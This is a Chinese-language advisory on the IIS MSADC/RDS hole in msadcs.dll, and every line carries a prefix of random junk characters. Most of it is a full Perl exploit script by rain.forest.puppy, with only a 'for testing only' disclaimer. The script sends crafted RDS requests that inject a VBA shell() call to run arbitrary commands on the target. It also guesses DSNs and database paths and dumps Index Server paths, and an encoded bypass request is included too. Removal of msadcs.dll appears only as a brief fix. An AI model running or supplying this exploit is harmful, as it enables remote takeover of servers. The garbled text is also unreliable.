IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
PLz+%L;{ JA9NTu( 涉及程序:
(hZNWQ0 Microsoft NT server
RN[x\" , h%W,O,K/ 描述:
=p=/@ FN 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
rXMc0SPk z\ONwMl 详细:
|nnFjGC`~ 如果你没有时间读详细内容的话,就删除:
VV}"zc^ c:\Program Files\Common Files\System\Msadc\msadcs.dll
PI`Y%! P 有关的安全问题就没有了。
lZ[J1:% |? fAe{*
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
.xmB8 R N'&>bO?@` 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
^9 LoxU- 关于利用ODBC远程漏洞的描述,请参看:
oA~0"}eS _/}$X"4 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 4[]*=
%k['<BYG< 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
^AJ
2Y_}v http://www.microsoft.com/security/bulletins/MS99-025faq.asp V?"U)Y@Y f"*4R
kG 这里不再论述。
=P9rOK= k\T]*A 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
U>.5vK.+ >]gB@tn[ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
LiQH!yHW 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
;}U]^LT=
8J$1N*J| *aWh]x9TlU #将下面这段保存为txt文件,然后: "perl -x 文件名"
%r.C9 |;)_-=L0P #!perl
>yn]h4M #
v@yqTZ # MSADC/RDS 'usage' (aka exploit) script
N}7b^0k #
JBJ?|}5k4c # by rain.forest.puppy
u?MhK#Mr #
Hf_
pe # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
sn^ 3xAF # beta test and find errors!
.|07IH/Di{ VWK/(>TP use Socket; use Getopt::Std;
Ank_;jo getopts("e:vd:h:XR", \%args);
dz/fSA Cu24xP` print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
: fYfXm LK*9`dzv=G if (!defined $args{h} && !defined $args{R}) {
`fX\pOk~e print qq~
y_q1Y70i2r Usage: msadc.pl -h <host> { -d <delay> -X -v }
;R2A>f~ -h <host> = host you want to scan (ip or domain)
h>[ qXz -d <seconds> = delay between calls, default 1 second
z(^dwMw} -X = dump Index Server path table, if available
.6
0yQ[aE -v = verbose
NopfL -e = external dictionary file for step 5
{cLWum[SY Viw,YkC Or a -R will resume a command session
<b_K*]Z sg}<() ~; exit;}
F-ofR]|)> 4f8XO"k7t= $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
@g;DA)!( if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
%++:
K if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
}93FWo. if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
eX"Ecl{ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
z@\mn if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
vShB26b Z"w}`&TC$^ if (!defined $args{R}){ $ret = &has_msadc;
4h--x~ @ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
04v
~K VZ`YbY print "Please type the NT commandline you want to run (cmd /c assumed):\n"
tS3&&t . "cmd /c ";
AT3HHQD $in=<STDIN>; chomp $in;
DaHbOs_< $command="cmd /c " . $in ;
%Y'/_
esH2 q8/k$5E if (defined $args{R}) {&load; exit;}
[kr-gV r^rk@W;[ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
%_p]6doF
&try_btcustmr;
h]z 8.k2n ZTfW_0
print "\nStep 2: Trying to make our own DSN...";
gYGoJH1 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
z4(\yx Yqo @
g2g print "\nStep 3: Trying known DSNs...";
r<srTHGLo &known_dsn;
^*$!9~ IV':sNV print "\nStep 4: Trying known .mdbs...";
~.U\Y &known_mdb;
X_D-K F f]?&R c2C if (defined $args{e}){
06.8m;{N print "\nStep 5: Trying dictionary of DSN names...";
w^nA/=;r &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
`VGw5o Th\T$T`X$ print "Sorry Charley...maybe next time?\n";
'4u/ g exit;
&X`
lh P d*k5h<jM ##############################################################################
Rb:?%\= knV*,
sub sendraw { # ripped and modded from whisker
oVbs^sbRH sleep($delay); # it's a DoS on the server! At least on mine...
A(`Mwh+ my ($pstr)=@_;
T7/DH socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Zj ^e8u=T die("Socket problems\n");
?^7X2 u$nm if(connect(S,pack "SnA4x8",2,80,$target)){
$w-@Oa*h9U select(S); $|=1;
7MJ\*+T|03 print $pstr; my @in=<S>;
Ujvm|ml select(STDOUT); close(S);
:cXN
Fu\C return @in;
MuzQz.C } else { die("Can't connect...\n"); }}
7AGUi+!ICl wEI?
9 ##############################################################################
7!Im|7Ty ttlMZLX{TJ sub make_header { # make the HTTP request
W}zq9|p my $msadc=<<EOT
3?_%|;ga POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
jll|y0 User-Agent: ACTIVEDATA
;KmrBNF Host: $ip
(0_zp`) Content-Length: $clen
|{ZdAr.; Connection: Keep-Alive
x*TJYST ScVbo3{m*T ADCClientVersion:01.06
j!k$SDA- Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
r#w 7qEtD Z]k@pR ! --!ADM!ROX!YOUR!WORLD!
$1zWQJd[- Content-Type: application/x-varg
!SGRK01 Content-Length: $reqlen
TEj"G7]1$A -*T0Cl. EOT
wzoT!-_X ; $msadc=~s/\n/\r\n/g;
PX/^* return $msadc;}
NzM ,0q L|-|DOgw ##############################################################################
^4\0,> e(b$LUV sub make_req { # make the RDS request
.V_5q:tu my ($switch, $p1, $p2)=@_;
YG0b*QBY~ my $req=""; my $t1, $t2, $query, $dsn;
[Ran/D\. uXUuA/O5- if ($switch==1){ # this is the btcustmr.mdb query
7'{Vh{. $query="Select * from Customers where City=" . make_shell();
wr,+9uK $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
D97 vfC $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
>X"\+7bw hPgYKa8u elsif ($switch==2){ # this is general make table query
pSYEC,0B $query="create table AZZ (B int, C varchar(10))";
SsfC
m C $dsn="$p1";}
#RSUChe7w DZH2U+K elsif ($switch==3){ # this is general exploit table query
Hm|N{ $query="select * from AZZ where C=" . make_shell();
Vl<7> $dsn="$p1";}
~P~q' $cm9xW& elsif ($switch==4){ # attempt to hork file info from index server
F1M:"-bda $query="select path from scope()";
}rs>B,=*k $dsn="Provider=MSIDXS;";}
RVs=s}|>* psz0q| elsif ($switch==5){ # bad query
\ZE=WvnhZ $query="select";
>$r o\/ $dsn="$p1";}
,TB$D]u8 M&9urOa` $t1= make_unicode($query);
Vr%ef:uVV $t2= make_unicode($dsn);
1B~Z1w $req = "\x02\x00\x03\x00";
4mX?PKvbn $req.= "\x08\x00" . pack ("S1", length($t1));
I};*O6D` $req.= "\x00\x00" . $t1 ;
-2 8bJ, $req.= "\x08\x00" . pack ("S1", length($t2));
"d}ey=$h4 $req.= "\x00\x00" . $t2 ;
fuF{8-ua $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
(#z6w#CU( return $req;}
QX=x^(M$m yO7#n0q ##############################################################################
4)'U!jSb itc\wn sub make_shell { # this makes the shell() statement
0XqxW\8_l return "'|shell(\"$command\")|'";}
pNmWBp|ER Xi\c>eALO ##############################################################################
M&Ln'BC n:1Ijh
1 sub make_unicode { # quick little function to convert to unicode
e VQ-?DK my ($in)=@_; my $out;
in K;n for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
tAY{+N]f return $out;}
WlGT&m&2 d 79 2#Dc ##############################################################################
C'Y2kb [U"/A1p sub rdo_success { # checks for RDO return success (this is kludge)
JB.U& my (@in) = @_; my $base=content_start(@in);
NN5Ejr, if($in[$base]=~/multipart\/mixed/){
DpT$19Q+ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
i*!2n1c[ return 0;}
ga S}>?qk )DlKeiK ##############################################################################
fYh<S N&Ho$,2s sub make_dsn { # this makes a DSN for us
Unb3
Gv#O my @drives=("c","d","e","f");
[/n@BK print "\nMaking DSN: ";
$P%cdJ T0 foreach $drive (@drives) {
m_`%#$s} print "$drive: ";
'lu3BQvfh my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
)Z['=+s% "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
_G25$%/LU . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
Un
T\6u $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
r=54@`O! return 0 if $2 eq "404"; # not found/doesn't exist
SR?(z if($2 eq "200") {
u-mD" foreach $line (@results) {
kBoQjOV` return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
%*Uc,V } return 0;}
h@(+(fVHrp -R\dg S3 ##############################################################################
)E^4U9v), 1Ax;|.KQH sub verify_exists {
&%t&[Se_~ my ($page)=@_;
dB0
UZirb my @results=sendraw("GET $page HTTP/1.0\n\n");
%k )H7nj return $results[0];}
y%kZ## u3pFH( ##############################################################################
V@O)7ND M:iH7K sub try_btcustmr {
"VU/Ucb7 my @drives=("c","d","e","f");
!H9^j6| my @dirs=("winnt","winnt35","winnt351","win","windows");
WLfDXx2A y=EVpd foreach $dir (@dirs) {
UEfY'%x print "$dir -> "; # fun status so you can see progress
DL!%Np?` foreach $drive (@drives) {
2' ^7G@% print "$drive: "; # ditto
K,%CE
]. $reqlen=length( make_req(1,$drive,$dir) ) - 28;
={N1j<%fh $reqlenlen=length( "$reqlen" );
.V3e>8gw3 $clen= 206 + $reqlenlen + $reqlen;
\^RKb-6n UF*R1{ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
P~iZae
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
jiLJiYMg else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
"dvo@n| Z,Us<du ##############################################################################
w&Gc#-B MxKTKBxQ sub odbc_error {
o;
U!{G(X my (@in)=@_; my $base;
=6Gn?
/{ my $base = content_start(@in);
.uxM&|0H if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
t4/ye>P & $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
JEMc _ngR! $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
FOMJRq $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Q>rr?L` return $in[$base+4].$in[$base+5].$in[$base+6];}
#(i
pF print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
a'dlAda print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
]t`SCsoo $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
: T7(sf*!* YhS_ ,3E ##############################################################################
e3~{l~Rb xSSEDfq sub verbose {
2l^_OrE! my ($in)=@_;
7C,giCYU return if !$verbose;
y)CvlI print STDOUT "\n$in\n";}
[A"=!e$< GdVF; ##############################################################################
jY]51B !jSgpIp sub save {
()O&O+R|) my ($p1, $p2, $p3, $p4)=@_;
\]5I atli open(OUT, ">rds.save") || print "Problem saving parameters...\n";
/sT?p=[. print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
ctLNzJes% close OUT;}
f% )9!qeW BK6
X)1R ##############################################################################
} e+`Kxy : MjDcI~ sub load {
ov;^ev,( my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
+jF2{" open(IN,"<rds.save") || die("Couldn't open rds.save\n");
q#8yU\J|, @p=<IN>; close(IN);
2.b,8wT/ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
WulyMcJ $target= inet_aton($ip) || die("inet_aton problems");
bE'{zU}o print "Resuming to $ip ...";
0gaHYqkA>} $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
OWT%XUW= if($p[1]==1) {
q`IY;"~ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
Sp:w _;{# $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
(tg9"C my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
<p*k-mfr if (rdo_success(@results)){print "Success!\n";}
qxu3y+po] else { print "failed\n"; verbose(odbc_error(@results));}}
\U>&W elsif ($p[1]==3){
3]mprX' if(run_query("$p[3]")){
T]-MrnO print "Success!\n";} else { print "failed\n"; }}
[xr^t1 elsif ($p[1]==4){
09jE7g @X} if(run_query($drvst . "$p[3]")){
LR>s2zu- print "Success!\n"; } else { print "failed\n"; }}
!U m9ceK exit;}
vIOGDI> K.Y`/< ##############################################################################
G:tY1'5 P~=yTW sub create_table {
gK({InOP my ($in)=@_;
KU9FHN $reqlen=length( make_req(2,$in,"") ) - 28;
YI,t{Wy $reqlenlen=length( "$reqlen" );
62zu;p9m $clen= 206 + $reqlenlen + $reqlen;
111A e*U my @results=sendraw(make_header() . make_req(2,$in,""));
p'2IlQ\ return 1 if rdo_success(@results);
4^bt~{} my $temp= odbc_error(@results); verbose($temp);
>$L7J=Em return 1 if $temp=~/Table 'AZZ' already exists/;
E1OrL.A6 return 0;}
}P.Z}n;Uj ;<m`mb4x[ ##############################################################################
/r"<:+ ".(vR7u' sub known_dsn {
D_czUM # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
_OuNX.yrG my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
K3[+L`pz "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
~h; "banner", "banners", "ads", "ADCDemo", "ADCTest");
U{M3QOF 'kcR:5B foreach $dSn (@dsns) {
kex V~Q print ".";
Y'iyfnk next if (!is_access("DSN=$dSn"));
7)r]h? if(create_table("DSN=$dSn")){
fPUr O print "$dSn successful\n";
VYkh@j if(run_query("DSN=$dSn")){
89 (qU print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
pQ:^ ziwa3 print "Something's borked. Use verbose next time\n";}}} print "\n";}
1Ng.Ukb Z}uY%] ##############################################################################
)-Hs]D: }" vxYB!h3 sub is_access {
wb?k my ($in)=@_;
ge
GhM>G $reqlen=length( make_req(5,$in,"") ) - 28;
`7:uc@ $reqlenlen=length( "$reqlen" );
eQu(3 sYb $clen= 206 + $reqlenlen + $reqlen;
j0; ~2W#G* my @results=sendraw(make_header() . make_req(5,$in,""));
{Fw"y %a^ my $temp= odbc_error(@results);
Si?s69 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
s~A-qG> return 0;}
Lxv 4w goIvm:? ##############################################################################
~. vridH S1U0sP@o sub run_query {
;98b SR/ my ($in)=@_;
o&E8<e $reqlen=length( make_req(3,$in,"") ) - 28;
0HoHu*+FX $reqlenlen=length( "$reqlen" );
aM;SE9/U $clen= 206 + $reqlenlen + $reqlen;
:) lG}c
my @results=sendraw(make_header() . make_req(3,$in,""));
|di(hY| return 1 if rdo_success(@results);
S=!WFKcJR my $temp= odbc_error(@results); verbose($temp);
?`Yu~a{ return 0;}
.k]`z>uv ?I[8rzBWU ##############################################################################
lTMY|{9 O?Bf (y sub known_mdb {
v7
*L3Ol
my @drives=("c","d","e","f","g");
xyk%\&"7 my @dirs=("winnt","winnt35","winnt351","win","windows");
?o;ip my $dir, $drive, $mdb;
B&6NjLV my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
=?6c&Z @9HRGxJ=} # this is sparse, because I don't know of many
:
"|/ my @sysmdbs=( "\\catroot\\icatalog.mdb",
(6ga*5< "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
Ol RXgJ "\\system32\\certmdb.mdb",
4@{cK| "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
d/Q#Z t2(X my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
.))jR:{3 "\\cfusion\\cfapps\\forums\\forums_.mdb",
3&^hf^yg "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
vY m:V:7Y2 "\\cfusion\\cfapps\\security\\realm_.mdb",
"@eGgQ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
I 0~'z f "\\cfusion\\database\\cfexamples.mdb",
Q/4-7 "\\cfusion\\database\\cfsnippets.mdb",
l'EO@D/M "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
]i.N'O<p "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
7! >0 "\\cfusion\\brighttiger\\database\\cleam.mdb",
. fja;aG "\\cfusion\\database\\smpolicy.mdb",
wBXa;. "\\cfusion\\database\cypress.mdb",
M\m:H3[ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
`CS\"|z "\\website\\cgi-win\\dbsample.mdb",
FE!jN-# "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Ur
xiaE "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
;m7G8)I ); #these are just
H_RfIX)X foreach $drive (@drives) {
iN
Oj@3x foreach $dir (@dirs){
w<`0D)mQ foreach $mdb (@sysmdbs) {
I2$DlEke print ".";
\
T#|<= if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
K`Kv .4 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
.8|wc if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
6
H P66B print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
6v3l^~kc' } else { print "Something's borked. Use verbose next time\n"; }}}}}
@@oJ@; ?0/$RpFEM# foreach $drive (@drives) {
x!_5/ foreach $mdb (@mdbs) {
$UH:r print ".";
y<FC7 if(create_table($drv . $drive . $dir . $mdb)){
2@ZVEN print "\n" . $drive . $dir . $mdb . " successful\n";
Nz2V aZ if(run_query($drv . $drive . $dir . $mdb)){
U_*,XLU print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
n>, :*5"G } else { print "Something's borked. Use verbose next time\n"; }}}}
'M~`IN` }
*ai~!TR $\NqD:fgb ##############################################################################
e' l9 7(+4^ sub hork_idx {
'Eur[~k print "\nAttempting to dump Index Server tables...\n";
ev;&n@k_I print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
)\Q(=: $reqlen=length( make_req(4,"","") ) - 28;
-H6[{WVW! $reqlenlen=length( "$reqlen" );
1@L18%h $clen= 206 + $reqlenlen + $reqlen;
n/5T{ NfG my @results=sendraw2(make_header() . make_req(4,"",""));
,<%uG6/",g if (rdo_success(@results)){
EN2t}rua my $max=@results; my $c; my %d;
4C3_gm for($c=19; $c<$max; $c++){
p$\>3\ $results[$c]=~s/\x00//g;
D-BT`@~l $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
RdPk1?}K $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
i4|R0>b $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
Wm6qy6HR $d{"$1$2"}="";}
d78 [(; foreach $c (keys %d){ print "$c\n"; }
@6'~RD. } else {print "Index server doesn't seem to be installed.\n"; }}
VG
5*17nf5 -r sbSt ?_ ##############################################################################
(Y)2[j OWewV@VXR sub dsn_dict {
lk
1\|Q
I open(IN, "<$args{e}") || die("Can't open external dictionary\n");
53:~a while(<IN>){
hEB5=~A_ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
jV}8VK*`+ next if (!is_access("DSN=$dSn"));
Np+PUu> if(create_table("DSN=$dSn")){
5bt>MoKxv print "$dSn successful\n";
i6KfH\{N if(run_query("DSN=$dSn")){
> mO*.' Gm print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
N 5*Qnb8 print "Something's borked. Use verbose next time\n";}}}
4tCM2it% print "\n"; close(IN);}
Vr},+Rj I*N"_uKU ##############################################################################
-NJpql{Cb t/;0/ql\ sub sendraw2 { # ripped and modded from whisker
Z>`\$1CI sleep($delay); # it's a DoS on the server! At least on mine...
BjfVNF;hk: my ($pstr)=@_;
I/njyV)H socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
u"qVT9C$= die("Socket problems\n");
]Kq<U%x$ if(connect(S,pack "SnA4x8",2,80,$target)){
9iG&9tB@ print "Connected. Getting data";
C})Dvh open(OUT,">raw.out"); my @in;
c`xNTr01 select(S); $|=1; print $pstr;
G"?7 Z&+ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
*eoH"UFYQ# close(OUT); select(STDOUT); close(S); return @in;
eY :"\c3
} else { die("Can't connect...\n"); }}
CnB[ImMs(A j<~Wp$\i7> ##############################################################################
3FR(gr$X 62HA[cr&) sub content_start { # this will take in the server headers
(O+d6oT=Z2 my (@in)=@_; my $c;
E'aOHSAg for ($c=1;$c<500;$c++) {
X\Bl?
F
if($in[$c] =~/^\x0d\x0a/){
.hmeP
MK if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
qt@/ else { return $c+1; }}}
>}* W$i return -1;} # it should never get here actually
AT1cN1:4? xJ$uoy3+ ##############################################################################
zTcz+3x veq3t$sj sub funky {
A8&@Vxdz my (@in)=@_; my $error=odbc_error(@in);
;=,-C;` if($error=~/ADO could not find the specified provider/){
`6VnL) print "\nServer returned an ADO miscofiguration message\nAborting.\n";
O z0-cM8t exit;}
H*N <7# if($error=~/A Handler is required/){
P6GTgQ<'BA print "\nServer has custom handler filters (they most likely are patched)\n";
ooJxE\L exit;}
M^ '1Q.K if($error=~/specified Handler has denied Access/){
D Yf2V6' print "\nServer has custom handler filters (they most likely are patched)\n";
>;4q exit;}}
.5Y{Yme z]N#.utQ ##############################################################################
U*a#{C7" {%3WHGr%L sub has_msadc {
|V\{U j my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
Jai]z my $base=content_start(@results);
e=(Y,e3 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
{'4#{zmp return 0;}
eWDXV-xD @}4>:\es ########################
v,}C~L3 n0 l|7:Mk ?sQg{1"Zr 解决方案:
)r46I$]> 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
gg#9I(pX 2、移除web 目录: /msadc